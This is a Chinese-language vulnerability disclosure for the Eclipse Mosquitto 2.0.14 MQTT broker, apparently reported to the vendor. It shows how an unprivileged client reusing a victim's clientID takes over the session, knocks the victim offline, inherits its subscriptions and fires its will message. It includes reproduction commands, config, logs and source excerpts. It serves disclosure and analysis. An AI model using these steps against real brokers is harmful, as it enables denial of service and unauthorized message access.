

[eclipse/mosquitto: Eclipse Mosquitto - An open source MQTT broker \(github.com\)](https://github.com/eclipse/mosquitto)

注：我们已向厂商通报此安全问题

0x01 攻击场景

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首先，攻击者通过猜测或是受害者泄露得到了受害者的clientID，并且攻击者是一个无权限的状态

1. 攻击者使用相同的clientID，并且以 “Clean Start = False” 连接broker。
2. broker会触发take over机制，将已存在的受害者session踢下线，并且将受害者session中保存的(1. 订阅关系；2. 未完成的消息)保存到新的session中。
3. broker随后触发受害者的will message。
4. 恶意的will message被投递到订阅者。

• 漏洞危害

1. 攻击者能继承受害者的订阅关系，如果拥有某些topic的read权限，便能直接收取消息，而无需subscribe权限去订阅topic
2. DoS攻击，将相同clientID的受害者踢下线
3. 恶意的will message，虽然攻击者无法控制will message的内容，但是能选择触发该will message的时机，并且攻击者本身对于该will message没有权限，是一种越权行为。

0x02 漏洞测试步骤

• 测试环境

mosquitto: 2.0.14

mqtt client: 任意客户端即可(这里测试使用mosquitto自带客户端)

访问控制插件: 官方插件[dynsec](#)，配置文件如下, 创建了两个role

admin: 拥有所有权限

attacker: 没有权限

```
{
  "defaultACLAccess": {
    "publishClientSend": false,
    "publishClientReceive": true,
    "subscribe": false,
    "unsubscribe": true
  }
}
```

```

},
"clients": [{
  "username": "admin-user",
  "textname": "Dynsec admin user",
  "roles": [{
    "rolename": "admin"
  }],
  "password":
  "Kmk6bi/ZwSLDHP9sveiiKPGytxy1f1/VFVEF8JwZdpdSLg5lZjshMDANKNwWOYE8li+iIFX5ogSdcHtx3ae
hEw=",
  "salt": "cWjrh5nu7nMC3vfl",
  "iterations": 101
}, {
  "username": "user1",
  "roles": [{
    "rolename": "attacker",
    "priority": 1000
  }],
  "password":
  "rDEjWxg9x2qjCWRGO63xVxFbSmZ38F8GyjrGKF6H30jAANRauc0/BBbYuf5pDLdvkxaWJA2h0oUsnBYV
pozc/w=",
  "salt": "4P4fvBDU7rxqHpxC",
  "iterations": 101
}],
"groups": [],
"roles": [{
  "rolename": "admin",
  "acls": [{
    "acltype": "publishClientSend",
    "topic": "$CONTROL/dynamic-security/#",
    "priority": 0,
    "allow": true
  }, {
    "acltype": "publishClientSend",
    "topic": "#",
    "priority": 0,
    "allow": true
  }, {
    "acltype": "publishClientReceive",
    "topic": "$CONTROL/dynamic-security/#",
    "priority": 0,
    "allow": true
  }, {
    "acltype": "publishClientReceive",
    "topic": "$SYS/#",
    "priority": 0,
    "allow": true
  }, {
    "acltype": "publishClientReceive",
    "topic": "#",
    "priority": 0,
    "allow": true
  }, {
    "acltype": "subscribePattern",
    "topic": "$CONTROL/dynamic-security/#",
    "priority": 0,
    "allow": true
  }, {

```

```

        "acltype": "subscribePattern",
        "topic": "$SYS/#",
        "priority": 0,
        "allow": true
    }, {
        "acltype": "subscribePattern",
        "topic": "#",
        "priority": 0,
        "allow": true
    }, {
        "acltype": "unsubscribePattern",
        "topic": "#",
        "priority": 0,
        "allow": true
    }
    ]
  }, {
    "rolename": "attacker",
    "acls": []
  }
}

```

可使用[指导文档](#)中的方法创建role以及clients:

```

mosquitto_ctrl dynsec init path/to/dynamic-security.json admin-user
mosquitto_ctrl -u admin-user dynsec createRole user

```

在mosquitto中配置文件中配置使用该插件:

```

plugin path/to/mosquitto_dynamic_security.so
plugin_opt_config_file path/to/dynamic-security.json

```

- **测试步骤**

1. 观察者登录 (admin)

```

clientID: "inspector"
订阅topic: "test"

```

```
$ mosquitto_sub -u admin-user -P admin-password -t "test"
```

2. 受害者登录 (admin)

```
clientID: "cid"
```

will message: "mywill"

will topic: "test"

```
$ mosquitto_sub -i cid -t "test" -u admin-user -P admin-password --will-topic "test" --will-payload "mywill"
```

3. 攻击者登录 (attacker)

clientID: "cid"

```
$ mosquitto_pub -i cid -u user1 -P pass1 -t "test" -m "bad"
```

可以看到, 受害者被挤下线, 并且触发了其will message

```
(3.7.1) szx in ~/Documents/SourceCode/mosquitto-2.0.14/plugins/dynamic-security on master • A mosquitto_sub -u admin-user -P admin-password -t "test" mywill
(3.7.1) szx@ubuntu:~/Documents/SourceCode/mosquitto-2.0.14/plugins/dynamic-security(master) » mosquitto_pub -u admin-user -P admin-password -t "test" -m "bad"
(3.7.1) szx@ubuntu:~/Documents/SourceCode/mosquitto-2.0.14/plugins/dynamic-security(master) » mosquitto_pub -i cid -u admin-user -P admin-password -t "test" -m "bad"
(3.7.1) szx@ubuntu:~/Documents/SourceCode/mosquitto-2.0.14/plugins/dynamic-security(master) » mosquitto_pub -i cid2 -u admin-user -P admin-password -t "test" -m "bad"
(3.7.1) szx@ubuntu:~/Documents/SourceCode/mosquitto-2.0.14/plugins/dynamic-security(master) » mosquitto_pub -i cid1 -u user1 -P pass1 -t "test" -m "bad"
(3.7.1) szx@ubuntu:~/Documents/SourceCode/mosquitto-2.0.14/plugins/dynamic-security(master) » mosquitto_pub -i cid -u user1 -P pass1 -t "test" -m "bad"
(3.7.1) szx@ubuntu:~/Documents/SourceCode/mosquitto-2.0.14/plugins/dynamic-security(master) »
[[A~[[A~[[B~[[B~C~
(3.7.1) *[*master][~/Documents/SourceCode/mosquitto-2.0.14/plugins/dynamic-security]$ mosquitto_sub -i cid -u admin-user -P admin-password -t "test" bad
(3.7.1) *[*master][~/Documents/SourceCode/mosquitto-2.0.14/plugins/dynamic-security]$ mosquitto_sub -i cid -t "test" -u admin-user -P admin-password --will-topic "test" --will-payload "mywill"
(3.7.1) *[*master][~/Documents/SourceCode/mosquitto-2.0.14/plugins/dynamic-security]$ mosquitto_sub -i cid -t "test" -u admin-user -P admin-password --will-topic "test" --will-payload "mywill"
```

观察mosquitto日志, 可以发现take over动作:

```
1652667993: New connection from 127.0.0.1:46172 on port 1883.
1652667993: New client connected from 127.0.0.1:46172 as auto-DD7F02DA-B1E9-58C2-BCC7-BEE8A9841656 (p2, c1, k60, u'admin-user').
1652668044: New connection from 127.0.0.1:46174 on port 1883.
1652668044: Client cid already connected, closing old connection.
1652668044: New client connected from 127.0.0.1:46174 as cid (p2, c1, k60, u'user1').
1652668044: Client cid disconnected.
```

0x03 漏洞原理分析

1. broker在收到一个CONNECT请求时, 并且其clientID已经拥有了一个已存在的session, 会无条件关闭已存在的session

src/handle_connect.c: 208

```

session_expiry_remove(found_context);
will_delay_remove(found_context);
will_clear(found_context);

found_context->clean_start = true;
found_context->session_expiry_interval = 0;
mosquitto_set_state(found_context, mosq_cs_duplicate);
do_disconnect(found_context, MOSQ_ERR_SUCCESS);

```

2. 在take over时，未验证当前新session的权限，便将已存在session中的订阅关系恢复到新的session中

src/handle_connect.c:167

```

for(i=0; i<context->sub_count; i++){
    if(context->subs[i]){
        leaf = context->subs[i]->hier->subs;
        while(leaf){
            if(leaf->context == found_context){
                leaf->context = context;
            }
            leaf = leaf->next;
        }

        if(context->subs[i]->shared){
            leaf = context->subs[i]->shared->subs;
            while(leaf){
                if(leaf->context == found_context){
                    leaf->context = context;
                }
                leaf = leaf->next;
            }
        }
    }
}

```

2. 在投递will message时，验证了will message的所有者的发布权限，导致will message被无权限的攻击者触发

src/handle_connect.c:198

这里是take over导致触发will message的地方

```

    if((found_context->protocol == mosq_p_mqtt5 && found_context->session_expiry_interval ==
0)
        || (found_context->protocol != mosq_p_mqtt5 && found_context->clean_start == true)
        || (context->clean_start == true)
    ){

        context__send_will(found_context);
    }

```

=>

src/context.c:176

```

void context__send_will(struct mosquitto *ctxt)
{
    if(ctxt->state != mosq_cs_disconnecting && ctxt->will){
        if(ctxt->will_delay_interval > 0){
            will_delay__add(ctxt);
            return;
        }

        if(mosquitto_acl_check(ctxt,
            ctxt->will->msg.topic,
            (uint32_t)ctxt->will->msg.payloadlen,
            ctxt->will->msg.payload,
            (uint8_t)ctxt->will->msg.qos,
            ctxt->will->msg.retain,
            MOSQ_ACL_WRITE) == MOSQ_ERR_SUCCESS){

            /* Unexpected disconnect, queue the client will. */
            db__messages_easy_queue(ctxt,
                ctxt->will->msg.topic,
                (uint8_t)ctxt->will->msg.qos,
                (uint32_t)ctxt->will->msg.payloadlen,
                ctxt->will->msg.payload,
                ctxt->will->msg.retain,
                ctxt->will->expiry_interval,
                &ctxt->will->properties);
        }
    }
    will__clear(ctxt);
}

```